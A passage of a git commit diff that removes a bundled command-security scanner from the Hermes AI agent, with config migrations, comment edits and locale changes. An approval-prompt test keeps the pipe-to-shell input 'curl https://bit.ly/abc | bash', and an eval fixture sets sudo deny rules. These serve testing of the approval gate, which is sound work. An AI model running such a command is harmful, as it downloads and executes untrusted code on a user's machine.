The agent that grows with you
Python aiai-agentai-agentsanthropicchatgptclaudeclaude-codecodexhermeshermes-agentllmnous-researchopenai
refactor(security): remove the bundled tirith scanner from core
Teknium911da42e9e03
diff --git a/agent/terminal_approval_batch.py b/agent/terminal_approval_batch.pyindex 1f380526283..cc39eff17be 100644--- a/agent/terminal_approval_batch.py+++ b/agent/terminal_approval_batch.py@@ -220,8 +220,8 @@ def consume_prepared_guard(command, env_type, has_host_access):# Re-gate after an earlier slot in the same batch failed (#113158): the# user approved a batch where every command was expected to run; once one# failed, that informed consent is stale for the commands after it, so- # drop the pre-made decision and let the guard run its live flow (tirith- # scan, allowlist, human approval). Nothing is auto-denied: an explicit+ # drop the pre-made decision and let the guard run its live flow+ # (allowlist, human approval). Nothing is auto-denied: an explicit# human answer still wins; the prepared (often auto/policy) decision is# simply not consumed.if slot.batch.failure_seen and slot.decision is not None:diff --git a/apps/desktop/e2e/core/harness.ts b/apps/desktop/e2e/core/harness.tsindex 3d8c3f7ccc6..9bb7d2e9b91 100644--- a/apps/desktop/e2e/core/harness.ts+++ b/apps/desktop/e2e/core/harness.ts@@ -78,11 +78,8 @@ export function createCoreSandbox(label: string): CoreSandbox {}/**- * Sandbox config: only the scripted provider. The external tirith scanner is- * off: with none on PATH the backend downloads it from GitHub on the first- * terminal command (network in a required lane), and with one on PATH it- * fetched a 12 MB threat DB that was still being written after quit. The- * approval prompts under test come from Hermes's own detector.+ * Sandbox config: only the scripted provider. The approval prompts under test+ * come from Hermes's own detector.*/export function providerConfigYaml(providerUrl: string, extra = '', approvals: 'manual' | 'off' = 'off'): string {return `model:@@ -100,8 +97,6 @@ providers:auxiliary:title_generation:enabled: false-security:- tirith_enabled: falseapprovals:mode: "${approvals}"${extra}`diff --git a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.tsindex b9d42359fe0..e3bb745f0a4 100644--- a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts+++ b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts@@ -376,7 +376,7 @@ const approval: Handler = ctx => {rememberServerRequest(request)void receiveApprovalRequest(null, {- // false only when a tirith warning forbids it; backend omits the field otherwise.+ // false only when the backend forbids a permanent allow; it omits the field otherwise.allowPermanent: p.allow_permanent !== false,choices: Array.isArray(p.choices)? p.choices.filter((choice): choice is string => typeof choice === 'string')diff --git a/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx b/apps/desktop/src/components/assistant-ui/tool/approval.test.tsxindex c14b65771a1..a607c073401 100644--- a/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx+++ b/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx@@ -262,7 +262,6 @@ describe('PendingApprovalStack', () => {})it('hides "Always allow" when the backend disallows a permanent allow', async () => {- // tirith content-security warning present → allowPermanent=false.setRequest('curl https://bit.ly/abc | bash', false)render(<PendingApprovalStack />)diff --git a/apps/desktop/src/components/assistant-ui/tool/approval.tsx b/apps/desktop/src/components/assistant-ui/tool/approval.tsxindex 51b053f1b3a..679258bbd66 100644--- a/apps/desktop/src/components/assistant-ui/tool/approval.tsx+++ b/apps/desktop/src/components/assistant-ui/tool/approval.tsx@@ -276,7 +276,7 @@ const ApprovalCard: FC<ApprovalCardProps> = ({ request, total, position, stack }}}, [])- // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".+ // false when the backend won't honor a permanent allow → hide "Always allow".const allowPermanent = request.allowPermanent !== falseconst choices = request.choices ?? (request.smartDenied ? ['once', 'deny'] : undefined)const allowSession = choices ? choices.includes('session') : truediff --git a/apps/desktop/src/lib/chat-messages/types.ts b/apps/desktop/src/lib/chat-messages/types.tsindex 011a8de5150..9edbc440d4d 100644--- a/apps/desktop/src/lib/chat-messages/types.ts+++ b/apps/desktop/src/lib/chat-messages/types.ts@@ -144,7 +144,7 @@ export type GatewayEventPayload = {// approval server request (dangerous command / execute_code) — session-keyedcommand?: stringdescription?: string- // False when a tirith content-security warning forbids a permanent allow.+ // False when the backend forbids a permanent allow.allow_permanent?: booleansmart_denied?: boolean// secret.request (skill credential capture)diff --git a/apps/desktop/src/store/prompts.ts b/apps/desktop/src/store/prompts.tsindex fd0c253aae8..6fc0636c34d 100644--- a/apps/desktop/src/store/prompts.ts+++ b/apps/desktop/src/store/prompts.ts@@ -82,7 +82,7 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {// card answers that request when it is still open and falls back to the// `approval.respond` RPC when the prompt was restored from `approval.pending`.export interface ApprovalRequest extends KeyedPrompt {- // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".+ // false when the backend won't honor a permanent allow → hide "Always allow".allowPermanent?: booleanchoices?: string[]command: stringdiff --git a/cli-config.yaml.example b/cli-config.yaml.exampleindex 28b9be769d8..46f4272b68b 100644--- a/cli-config.yaml.example+++ b/cli-config.yaml.example@@ -7,7 +7,7 @@# Schema version of this file. The installers copy it to seed config.yaml, and# `hermes update` uses it to know which one-time migrations the file already# has. Hermes manages it: do not copy it into another config.-_config_version: 49+_config_version: 50# =============================================================================# Database Configuration@@ -555,18 +555,9 @@ terminal:# sudo_password: "your-password-here"# =============================================================================-# Security Scanning (tirith)+# Security# =============================================================================-# Optional pre-exec command security scanning via tirith.-# Detects homograph URLs, pipe-to-shell, terminal injection, env manipulation.-# Install: brew install sheeki03/tap/tirith-# Docs: https://github.com/sheeki03/tirith-## security:-# tirith_enabled: true # Enable/disable tirith scanning-# tirith_path: "tirith" # Path to tirith binary (supports ~ expansion)-# tirith_timeout: 5 # Scan timeout in seconds-# tirith_fail_open: true # Allow commands if tirith unavailable# approval:# transport: builtin # Or an explicitly enabled plugin transport name# transport_fallback: deny # Set builtin to opt into fallback on transport failurediff --git a/cli.py b/cli.pyindex 5813b28da29..2d56af2a7a7 100644--- a/cli.py+++ b/cli.py@@ -972,27 +972,6 @@ class HermesCLI(CLIInitMixin, CLITuiRuntimeMixin, CLIProcessNotificationsMixin,set_code_prompt_callback(self._vault_code_callback)self._tool_callbacks_installed = True- def _ensure_tirith_security(self) -> None:- """Check tirith availability once before tools can run terminal commands."""- if self._tirith_security_checked:- return- self._tirith_security_checked = True- try:- from tools.tirith_security import ensure_installed, is_platform_supported, missing_is_expected-- if (- ensure_installed(log_failures=False) is None and is_platform_supported()- and (self.config.get("security", {}) or {}).get("tirith_enabled", True)- ):- # First launch after install downloads tirith in the background;- # warning then would report a fault that resolves itself.- if missing_is_expected():- logger.info("tirith not ready (downloading or lazy installs off); pattern matching only")- else:- _cprint(f" {_DIM}{_t('cli.startup.tirith_unavailable')}{_RST}")- except Exception as exc:- logger.debug("tirith availability check failed: %s", exc)-def _show_security_advisories(self):"""Startup banner for unacked security advisories, on stderr (piped stdout stays clean); 24h rate-limited."""try:diff --git a/evals/approval_deny_dispatch.py b/evals/approval_deny_dispatch.pyindex 91d31d64834..ffecd0bae59 100644--- a/evals/approval_deny_dispatch.py+++ b/evals/approval_deny_dispatch.py@@ -18,8 +18,8 @@ with tempfile.TemporaryDirectory(prefix="hermes-deny-dispatch-") as directory:os.environ.update(PATH=directory + ":/usr/bin:/bin", HOME=directory, HERMES_HOME=directory,HERMES_INTERACTIVE="1", TERMINAL_ENV="local")(home / "config.yaml").write_text(- 'approvals:\n mode: "off"\n deny: ["sudo *", "printf SAFE", "git status"]\n'- 'security:\n tirith_enabled: false\n', encoding="utf-8")+ 'approvals:\n mode: "off"\n deny: ["sudo *", "printf SAFE", "git status"]\n',+ encoding="utf-8")executable = home / "sudo"executable.write_text('#!/bin/sh\nprintf "OWNED_EXECUTABLE_REACHED\\n"\n', encoding="utf-8")executable.chmod(0o700)diff --git a/evals/gateway_failure_ownership/README.md b/evals/gateway_failure_ownership/README.mdindex d0b81c108f6..a467920ed25 100644--- a/evals/gateway_failure_ownership/README.md+++ b/evals/gateway_failure_ownership/README.md@@ -11,8 +11,7 @@ scripts/run_tests.sh -j 1 tests/gateway/test_failure_writer_ownership.pyThe first argument selects the production checkout, so the same fixture can A/Banother checkout without editing it. The receipt records its temporary HERMES_HOME.-Inherited credentials are cleared, tools are disabled, lazy installs are off (so-GatewayRunner does not start tirith's background download), and socket connections+Inherited credentials are cleared, tools are disabled, lazy installs are off, and socket connections(`connect` and `connect_ex`) are restricted to loopback. No live messaging account orpaid provider is contacted.diff --git a/evals/gateway_failure_ownership/probe.py b/evals/gateway_failure_ownership/probe.pyindex fc187279aa6..f99edc348b3 100644--- a/evals/gateway_failure_ownership/probe.py+++ b/evals/gateway_failure_ownership/probe.py@@ -14,10 +14,8 @@ os.environ.update(HOME=str(HOME),HERMES_HOME=str(HOME),HERMES_DISABLE_PLUGINS="1",- # The scrub above drops the test harness's hermetic switch. Without it, GatewayRunner()- # in this fresh home starts tirith's startup install on a background thread (PM runtime,- # Python and uv downloaded and unpacked while the cases run) and its buffers land in the- # process-wide tracemalloc window the archive case measures.+ # The scrub above drops the test harness's hermetic switch; keep lazy PM installs off so no+ # background download's buffers land in the tracemalloc window the archive case measures.HERMES_DISABLE_LAZY_INSTALLS="1",NO_PROXY="127.0.0.1,localhost",)diff --git a/gateway/run.py b/gateway/run.pyindex a98d8297b7d..30c4764bd87 100644--- a/gateway/run.py+++ b/gateway/run.py@@ -581,12 +581,9 @@ def _redact_gateway_user_facing_secrets(text: str) -> str:def _redact_approval_command(cmd: "str | None") -> str:"""Redact credentials from a command before it goes into an approval prompt.- Else a Tirith-flagged credential echoes verbatim to chat; ``force=True`` holds even with redaction off.-- Tirith's *findings* are already redacted, but the gateway approval prompt is built from the raw command- string, so a credential-shaped value Tirith flagged would otherwise be echoed verbatim to the chat- platform (#48456). Uses ``redact_sensitive_text(force=True)`` — the same Tirith-grade redactor — so the- prompt honors redaction even when ``security.redact_secrets`` is off. Module-level so the wiring is+ The gateway approval prompt is built from the raw command string, so a credential-shaped value would+ otherwise be echoed verbatim to the chat platform (#48456). Uses ``redact_sensitive_text(force=True)`` so+ the prompt honors redaction even when ``security.redact_secrets`` is off. Module-level so the wiring isunit-testable (the call site is a deeply nested gateway closure that cannot be driven directly)."""from agent.redact import redact_sensitive_text@@ -3489,7 +3486,6 @@ class GatewayRunner(self._init_session_store()self._init_lifecycle_state()self._init_runtime_caches()- self._init_startup_checks()self._init_session_db()self._init_registries_and_clocks()@@ -3643,38 +3639,6 @@ class GatewayRunner(import itertoolsself._slash_confirm_counter = itertools.count(1)- def _init_startup_checks(self) -> None:- """Ensure tirith is installed and warn when manual approvals have no automated assessor."""- def _ensure_tirith() -> None:- from tools.tirith_security import ensure_installed- ensure_installed(log_failures=False) # downloads if needed; fail-open at scan time-- _best_effort(_ensure_tirith)-- # Manual approvals with no automated assessor (tirith off AND no auxiliary.approval) fail closed- # on unattended gateways — surface it so operators knowingly enable one.- try:- from hermes_cli.config import load_config as _load_full_config- # Startup heads-up (#30882): a gateway in manual approval mode with no automated risk assessor- # (tirith disabled AND no auxiliary.approval model) can only gate dangerous commands /- # execute_code scripts via live in-chat approval.- _appr_cfg = _load_full_config()- _appr_mode = str(- cfg_get(_appr_cfg, "approvals", "mode", default="manual") or "manual"- ).strip().lower()- _tirith_on = bool(cfg_get(_appr_cfg, "security", "tirith_enabled", default=True))- _aux_approval = cfg_get(_appr_cfg, "auxiliary", "approval", default=None)- if _appr_mode == "manual" and not _tirith_on and not _aux_approval:- logger.warning(- "Gateway approvals.mode=manual with no automated risk "- "assessor (security.tirith_enabled is false and "- "auxiliary.approval is unset): dangerous commands and "- "execute_code scripts will BLOCK until a human approves "- "them in chat. Enable security.tirith_enabled or configure "- "auxiliary.approval for unattended operation.")- except Exception:- logger.debug("approvals.mode startup check skipped", exc_info=True)-def _init_session_db(self) -> None:"""Open the session DB for the active scope and run opportunistic state.db / checkpoint maintenance."""# Session DB is a property caching one AsyncSessionDB per path (a handle bound here would pin thediff --git a/gateway/run_turn_runner.py b/gateway/run_turn_runner.pyindex 9b8c663fd0c..d98df4a0ebb 100644--- a/gateway/run_turn_runner.py+++ b/gateway/run_turn_runner.py@@ -1464,8 +1464,7 @@ class TurnRunner:# in approve/deny.adapter.pause_typing_for_chat(ctx._status_chat_id)self._close_native_stream_boundary("Approval")- # Redact credentials before display: Tirith's findings are already redacted, but the raw- # command string still leaks secrets. Both the button and plain-text paths use this value.+ # Redact credentials before display: the raw command string can carry secrets. Both the button and plain-text paths use this value.cmd = _redact_approval_command(approval_data.get("command", ""))desc = approval_data.get("description") or ea_default_reason_text()flags = {k: approval_data.get(k, d) for k, d in (("allow_permanent", True), ("allow_session", True), ("smart_denied", False))}diff --git a/hermes_cli/bang_shell.py b/hermes_cli/bang_shell.pyindex 6753d432836..454429f295f 100644--- a/hermes_cli/bang_shell.py+++ b/hermes_cli/bang_shell.py@@ -72,7 +72,7 @@ def check_bang_approval(command: str) -> dict:"""Run *command* through the terminal tool's approval gate.Reuses ``tools.terminal_tool._check_all_guards`` — exactly what ``terminal_tool()`` calls — so the- hardline blocklist, user deny rules, tirith findings, and the dangerous-command prompt all apply+ hardline blocklist, user deny rules and the dangerous-command prompt all applyto user-typed bang commands too. Returns the gate's ``{"approved": bool, "message": ...}``;falls back to *approved* only when the gate itself cannot be imported (a broken install, not apolicy decision).diff --git a/hermes_cli/cli_agent_setup_mixin.py b/hermes_cli/cli_agent_setup_mixin.pyindex 6ce8a4eda5a..d88884dd5ca 100644--- a/hermes_cli/cli_agent_setup_mixin.py+++ b/hermes_cli/cli_agent_setup_mixin.py@@ -635,7 +635,6 @@ class CLIAgentSetupMixin:self.finalize_preloaded_skills()_prepare_deferred_agent_startup()self._install_tool_callbacks()- self._ensure_tirith_security()if not self._ensure_runtime_credentials():return Falsefrom hermes_cli.mcp_startup import ensure_mcp_discovery_before_agent_builddiff --git a/hermes_cli/cli_init_mixin.py b/hermes_cli/cli_init_mixin.pyindex 36e04fa1646..1c29799a588 100644--- a/hermes_cli/cli_init_mixin.py+++ b/hermes_cli/cli_init_mixin.py@@ -300,7 +300,7 @@ class CLIInitMixin:# A signature change across turns (/model, credential rotation) rebuilds the agent.self._active_agent_route_signature = Noneself.agent: Optional[Any] = None # initialized on first use- self._tool_callbacks_installed = self._tirith_security_checked = False+ self._tool_callbacks_installed = Falseself._app = None # prompt_toolkit Application (set in run())self.conversation_history: List[Dict[str, Any]] = []diff --git a/hermes_cli/cli_modal_mixin.py b/hermes_cli/cli_modal_mixin.pyindex 139dd4566b6..a9266b578da 100644--- a/hermes_cli/cli_modal_mixin.py+++ b/hermes_cli/cli_modal_mixin.py@@ -1106,7 +1106,7 @@ class CLIModalMixin:allow_session: bool = True,smart_denied: bool = False) -> list[str]:"""Smart-DENY overrides and re-ask-every-time gates (allow_session=False) show only- once/deny; ``allow_permanent=False`` for another reason (e.g. tirith) hides only 'always'."""+ once/deny; ``allow_permanent=False`` for another reason hides only 'always'."""if smart_denied or not allow_session:choices = ["once", "deny"]elif allow_permanent:diff --git a/hermes_cli/cli_tui_mixin.py b/hermes_cli/cli_tui_mixin.pyindex d3585588d00..c700f75048a 100644--- a/hermes_cli/cli_tui_mixin.py+++ b/hermes_cli/cli_tui_mixin.py@@ -189,7 +189,7 @@ class CLITuiMixin:"""Render the dangerous-command approval panel.Layout priority: title + command + choices must always render, even in a short terminal- or with a long (tirith multi-paragraph) description. The description sits at the bottom+ or with a long multi-paragraph description. The description sits at the bottomand is truncated to the remaining row budget, so HSplit never clips approve/deny off-screen."""from cli import _panel_box_width, _wrap_panel_text_keep_ws@@ -1909,7 +1909,6 @@ class CLITuiMixin:if os.environ.get("HERMES_DEFER_AGENT_STARTUP") != "1":self._install_tool_callbacks()- self._ensure_tirith_security()def _tui_build_key_bindings(self):"""Build the prompt_toolkit KeyBindings for the REPL input area.diff --git a/hermes_cli/config.py b/hermes_cli/config.pyindex fa25d241248..f4373503e14 100644--- a/hermes_cli/config.py+++ b/hermes_cli/config.py@@ -2397,16 +2397,9 @@ _SECURITY_COMMENT = """# tokens, and passwords are masked in tool output, logs, and chat# responses before the model or user ever sees them. Set redact_secrets# to false to disable (e.g. when developing the redactor itself).-# tirith pre-exec scanning is enabled by default when the tirith binary-# is available. Configure via security.tirith_* keys or env vars-# (TIRITH_ENABLED, TIRITH_BIN, TIRITH_TIMEOUT, TIRITH_FAIL_OPEN).## security:# redact_secrets: true-# tirith_enabled: true-# tirith_path: "tirith"-# tirith_timeout: 5-# tirith_fail_open: true"""_FALLBACK_COMMENT = """diff --git a/hermes_cli/config_defaults.py b/hermes_cli/config_defaults.pyindex 86f7ff61d59..57d3c8c607a 100644--- a/hermes_cli/config_defaults.py+++ b/hermes_cli/config_defaults.py@@ -1767,7 +1767,7 @@ DEFAULT_CONFIG = {# for one login without changing this key."codex_login_flow": "device_code",},- "security": { # Security: pre-exec scanning via tirith plus related guards.+ "security": { # Security: URL/private-network guards, redaction and approval presentation."allow_private_urls": False, # allow requests to private/internal IPs (OpenWrt, VPNs)# CIDR blocks a local TUN proxy answers DNS with (Mihomo/Clash fake-ip, Surge enhanced).# Answers inside these blocks are the proxy's sentinels, not internal hosts, so the guard@@ -1787,10 +1787,6 @@ DEFAULT_CONFIG = {# globs on the basename (e.g. "*.mdc")."protected_instruction_files": True,"protected_instruction_extra_patterns": [],- "tirith_enabled": True,- "tirith_path": "tirith",- "tirith_timeout": 5,- "tirith_fail_open": True,"website_blocklist": {"enabled": False, "domains": [], "shared_files": []},# IDs of supply-chain advisories the user has read and acted on; acked ones stop the startup# banner. Add via `hermes doctor --ack <id>`; remove by editing the list. Catalog:@@ -2724,7 +2720,7 @@ DEFAULT_CONFIG = {# Extra ports detection probes for an external llama-server (besides 8080)."detect_ports": [],},- "_config_version": 49, # Config schema version - bump this when adding new required fields+ "_config_version": 50, # Config schema version - bump this when adding new required fields}diff --git a/hermes_cli/config_migrations.py b/hermes_cli/config_migrations.pyindex 0c620842c4f..bd517c73f8a 100644--- a/hermes_cli/config_migrations.py+++ b/hermes_cli/config_migrations.py@@ -683,6 +683,25 @@ def _migrate_to_49(results: Dict[str, Any], quiet: bool) -> None:print(" ✓ Cleared TERMINAL_VERCEL_RUNTIME from .env (was the old default; the image is used instead)")+_RETIRED_TIRITH_KEYS = ("tirith_enabled", "tirith_path", "tirith_timeout", "tirith_fail_open")+++def _migrate_to_50(results: Dict[str, Any], quiet: bool) -> None:+ # 49 → 50: the bundled tirith scanner left Hermes. Nothing reads its keys now, so they are+ # dropped; nothing replaces them.+ config = read_raw_config()+ security = config.get("security")+ if not isinstance(security, dict):+ return+ present = [key for key in _RETIRED_TIRITH_KEYS if key in security]+ if not present:+ return+ for key in present:+ del security[key]+ _commit(config, results, quiet, "removed security.tirith_* (scanner no longer bundled)",+ " ✓ Removed security.tirith_* — the tirith scanner is no longer bundled with Hermes.")++MIGRATIONS: Tuple[Tuple[int, Callable[[Dict[str, Any], bool], None]], ...] = ((12, _migrate_to_12),(13, _migrate_to_13),@@ -814,6 +833,8 @@ MIGRATIONS: Tuple[Tuple[int, Callable[[Dict[str, Any], bool], None]], ...] = ((48, _migrate_to_48),# 48 → 49: the seeded Vercel runtime pin is dropped so fresh sandboxes use the managed image (see _migrate_to_49).(49, _migrate_to_49),+ # 49 → 50: security.tirith_* dropped; the bundled scanner is gone (see _migrate_to_50).+ (50, _migrate_to_50),)#: Steps triggered by a legacy key or identifier (a renamed or retired key, a removed plugin or@@ -825,7 +846,7 @@ MIGRATIONS: Tuple[Tuple[int, Callable[[Dict[str, Any], bool], None]], ...] = (#: out: it clears OPENAI_MODEL from .env, a generic name Hermes never reads but the user's tools may.#: v41 is left out too: it rewrites profile SOUL.md on a heading match, an artifact whose#: provenance the config stamp says nothing about.-LEGACY_KEY_STEPS = frozenset({12, 14, 16, 17, 29, 33, 38, 39, 42, 43, 46})+LEGACY_KEY_STEPS = frozenset({12, 14, 16, 17, 29, 33, 38, 39, 42, 43, 46, 50})def run_migrations(diff --git a/hermes_cli/profiles.py b/hermes_cli/profiles.pyindex 5f33582f295..3e7f9539588 100644--- a/hermes_cli/profiles.py+++ b/hermes_cli/profiles.py@@ -229,7 +229,7 @@ _DEFAULT_EXPORT_EXCLUDE_ROOT = DEFAULT_EXPORT_EXCLUDE_ROOT = frozenset({"hermes-agent", # repo checkout (multi-GB)".worktrees", # git worktrees"profiles", # other profiles — never recursive-export- "bin", # installed binaries (tirith, etc.)+ "bin", # installed binaries"node_modules", # npm packages".hermes-runtime", # managed runtime tree (install artifact)"node", # legacy pre-split managed Node treediff --git a/locales/af.yaml b/locales/af.yamlindex 8ce322f8fe9..f2adeb8cc10 100644--- a/locales/af.yaml+++ b/locales/af.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Voer 'hermes model' uit om weer te probeer."provider_configured: "✓ Verskaffer opgestel — jy is gereed om te gesels."provider_setup_incomplete: "Verskaffer-opstelling is nie voltooi nie. Voer 'hermes model' uit om weer te probeer."- tirith_unavailable: "⚠ tirith-sekuriteitskandeerder is geaktiveer maar nie beskikbaar nie — opdragskandering sal slegs patroonpassing gebruik"unknown_toolsets: "Waarskuwing: Onbekende gereedskapstelle: {names}"stdin_unusable: "\nFout: stdin is nie bruikbaar nie ({error}).\nDit kan met sekere Python-installasies gebeur (bv. uv-bestuurde cPython op macOS)\nwaar kqueue nie fd 0 kan registreer nie.\nProbeer Python via pyenv of Homebrew herinstalleer en voer dan weer uit: hermes setup"warning: "Waarskuwing: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Goedkeuring van gevaarlike opdragte het 4 vlakke: eenmalig, sessie, altyd (permanente toelaatlys), weier."t168: "Slim goedkeuringsmodus gebruik 'n LLM om veilige opdragte outomaties goed te keur en gevaarlike te merk."t169: "SSRF-beskerming blokkeer private netwerke, loopback, link-local en wolk-metadata-adresse."- t170: "Tirith-skandering voor uitvoering bespeur homograaf-URL-vervalsing en pyp-na-vertolker-patrone."+ t170: "Sessie-ID's het 'n tydstempel-voorvoegsel (20250305_091523_abcd) sodat sortering natuurlik werk in ls en jq."t171: "MCP-subprosesse ontvang 'n gefiltreerde omgewing — net veilige stelselveranderlikes gaan deur."t172: "Kontekslêers (.hermes.md, AGENTS.md) word voor laai vir prompt-inspuiting geskandeer."t173: "command_allowlist in config.yaml keur spesifieke shell-opdragpatrone permanent goed."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model in config.yaml kies die FAL-model: flux-2/klein, gpt-image-2, nano-banana-pro en meer."t373: "image_gen.provider stuur beeldgenerering deur 'n plugin (OpenAI Images, Codex, FAL) in plaas van die verstek."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY rig visie-ontleding op enige OpenAI-versoenbare eindpunt."- t375: "security.tirith_fail_open: false laat Hermes opdragte blokkeer wanneer die tirith-skandeerder self 'n fout gee."- t376: "Die TIRITH_FAIL_OPEN-omgewingsveranderlike oorskry die tirith_fail_open-konfigurasie — 'n vinnige skakelaar sonder om config.yaml te wysig."+ t375: "API_SERVER_MODEL_NAME pas die modelnaam op /v1/models aan — noodsaaklik vir Open WebUI-opstellings met verskeie profiele."+ t376: "Dashboard-plugins word vanaf /dashboard-plugins/<name>/ bedien — plaas lêers in ~/.hermes/dashboard-plugins/."t377: "--source tool-kletse word by verstek uit hermes sessions list uitgesluit — stel --source eksplisiet om hulle te sien."- t378: "Sessie-ID's het 'n tydstempel-voorvoegsel (20250305_091523_abcd) sodat sortering natuurlik werk in ls en jq."- t379: "API_SERVER_MODEL_NAME pas die modelnaam op /v1/models aan — noodsaaklik vir Open WebUI-opstellings met verskeie profiele."- t380: "Dashboard-plugins word vanaf /dashboard-plugins/<name>/ bedien — plaas lêers in ~/.hermes/dashboard-plugins/."placeholder:p01: "Vra enigiets, of tik / vir opdragte…"p02: "Som op wat in hierdie vouer is"diff --git a/locales/ar.yaml b/locales/ar.yamlindex 998e1e7213b..dfd656992d8 100644--- a/locales/ar.yaml+++ b/locales/ar.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "شغّل 'hermes model' لإعادة المحاولة."provider_configured: "✓ تم ضبط المزوّد — أنت جاهز للدردشة."provider_setup_incomplete: "لم يكتمل إعداد المزوّد. شغّل 'hermes model' لإعادة المحاولة."- tirith_unavailable: "⚠ ماسح الأمان tirith مفعّل لكنه غير متاح — سيعتمد فحص الأوامر على مطابقة الأنماط فقط"unknown_toolsets: "تحذير: مجموعات أدوات غير معروفة: {names}"stdin_unusable: "\nخطأ: stdin غير قابل للاستخدام ({error}).\nقد يحدث هذا مع بعض تثبيتات Python (مثل cPython المُدار عبر uv على macOS)\nحيث يتعذّر على kqueue تسجيل fd 0.\nجرّب إعادة تثبيت Python عبر pyenv أو Homebrew، ثم أعد التشغيل: hermes setup"warning: "تحذير: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "للموافقة على الأوامر الخطيرة 4 مستويات: مرة، الجلسة، دائمًا (قائمة سماح دائمة)، رفض."t168: "يستخدم وضع الموافقة الذكية نموذجًا لغويًا للموافقة تلقائيًا على الأوامر الآمنة وتمييز الخطيرة منها."t169: "تحظر حماية SSRF الشبكات الخاصة وعناوين loopback وlink-local وبيانات التعريف السحابية."- t170: "يكشف فحص Tirith قبل التنفيذ تزييف عناوين URL بالحروف المتشابهة وأنماط التمرير إلى مفسّر."+ t170: "معرّفات الجلسات تبدأ بطابع زمني (20250305_091523_abcd) كي يعمل الترتيب طبيعيًا في ls و jq."t171: "تتلقى عمليات MCP الفرعية بيئة مصفّاة — تمرّ متغيرات النظام الآمنة فقط."t172: "تُفحص ملفات السياق (.hermes.md وAGENTS.md) أمنيًا بحثًا عن حقن المطالبات قبل تحميلها."t173: "يوافق command_allowlist في config.yaml نهائيًا على أنماط محددة من أوامر shell."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model في config.yaml يختار نموذج FAL: flux-2/klein أو gpt-image-2 أو nano-banana-pro وغيرها."t373: "image_gen.provider يوجّه توليد الصور عبر إضافة (OpenAI Images أو Codex أو FAL) بدلًا من الافتراضي."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY يوجّهان تحليل الرؤية إلى أي نقطة نهاية متوافقة مع OpenAI."- t375: "security.tirith_fail_open: false يجعل Hermes يحظر الأوامر عندما يتعطل فاحص tirith نفسه."- t376: "متغير البيئة TIRITH_FAIL_OPEN يتجاوز إعداد tirith_fail_open — تبديل سريع دون تحرير config.yaml."+ t375: "API_SERVER_MODEL_NAME يخصص اسم النموذج في /v1/models — ضروري لإعدادات Open WebUI متعددة الملفات التعريفية."+ t376: "تُقدَّم إضافات لوحة التحكم من /dashboard-plugins/<name>/ — ضع الملفات في ~/.hermes/dashboard-plugins/."t377: "المحادثات ذات --source tool مستثناة من hermes sessions list افتراضيًا — حدد --source صراحةً لعرضها."- t378: "معرّفات الجلسات تبدأ بطابع زمني (20250305_091523_abcd) كي يعمل الترتيب طبيعيًا في ls و jq."- t379: "API_SERVER_MODEL_NAME يخصص اسم النموذج في /v1/models — ضروري لإعدادات Open WebUI متعددة الملفات التعريفية."- t380: "تُقدَّم إضافات لوحة التحكم من /dashboard-plugins/<name>/ — ضع الملفات في ~/.hermes/dashboard-plugins/."placeholder:p01: "اسأل أي شيء، أو اكتب / للأوامر…"p02: "لخّص محتوى هذا المجلد"diff --git a/locales/de.yaml b/locales/de.yamlindex fca635ee1c5..05936df4814 100644--- a/locales/de.yaml+++ b/locales/de.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Führen Sie 'hermes model' aus, um es erneut zu versuchen."provider_configured: "✓ Anbieter konfiguriert — Sie können loschatten."provider_setup_incomplete: "Die Anbieter-Einrichtung wurde nicht abgeschlossen. Führen Sie 'hermes model' aus, um es erneut zu versuchen."- tirith_unavailable: "⚠ tirith-Sicherheitsscanner aktiviert, aber nicht verfügbar — Befehlsprüfung nutzt nur Musterabgleich"unknown_toolsets: "Warnung: Unbekannte Toolsets: {names}"stdin_unusable: "\nFehler: stdin ist nicht nutzbar ({error}).\nDas kann bei bestimmten Python-Installationen vorkommen (z. B. uv-verwaltetes cPython auf macOS),\nbei denen kqueue fd 0 nicht registrieren kann.\nInstallieren Sie Python über pyenv oder Homebrew neu und führen Sie dann erneut aus: hermes setup"warning: "Warnung: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Die Genehmigung gefährlicher Befehle hat 4 Stufen: einmalig, für diese Sitzung, dauerhaft (permanente Erlaubnisliste), ablehnen."t168: "Der Smart-Genehmigungsmodus nutzt ein LLM, um sichere Befehle automatisch zu genehmigen und gefährliche zu markieren."t169: "Der SSRF-Schutz blockiert private Netze, Loopback-, Link-Local- und Cloud-Metadaten-Adressen."- t170: "Das Tirith-Pre-Exec-Scanning erkennt Homograph-URL-Spoofing und Pipe-to-Interpreter-Muster."+ t170: "Sitzungs-IDs beginnen mit einem Zeitstempel (20250305_091523_abcd), sodass die Sortierung in ls und jq natürlich funktioniert."t171: "MCP-Unterprozesse erhalten eine gefilterte Umgebung — nur sichere Systemvariablen werden durchgereicht."t172: "Kontextdateien (.hermes.md, AGENTS.md) werden vor dem Laden sicherheitsseitig auf Prompt-Injection geprüft."t173: "command_allowlist in config.yaml genehmigt bestimmte Shell-Befehlsmuster dauerhaft."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model in config.yaml wählt das FAL-Modell: flux-2/klein, gpt-image-2, nano-banana-pro und weitere."t373: "image_gen.provider leitet die Bilderzeugung statt über den Standard durch ein Plugin (OpenAI Images, Codex, FAL)."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY richten die Bildanalyse auf einen beliebigen OpenAI-kompatiblen Endpunkt."- t375: 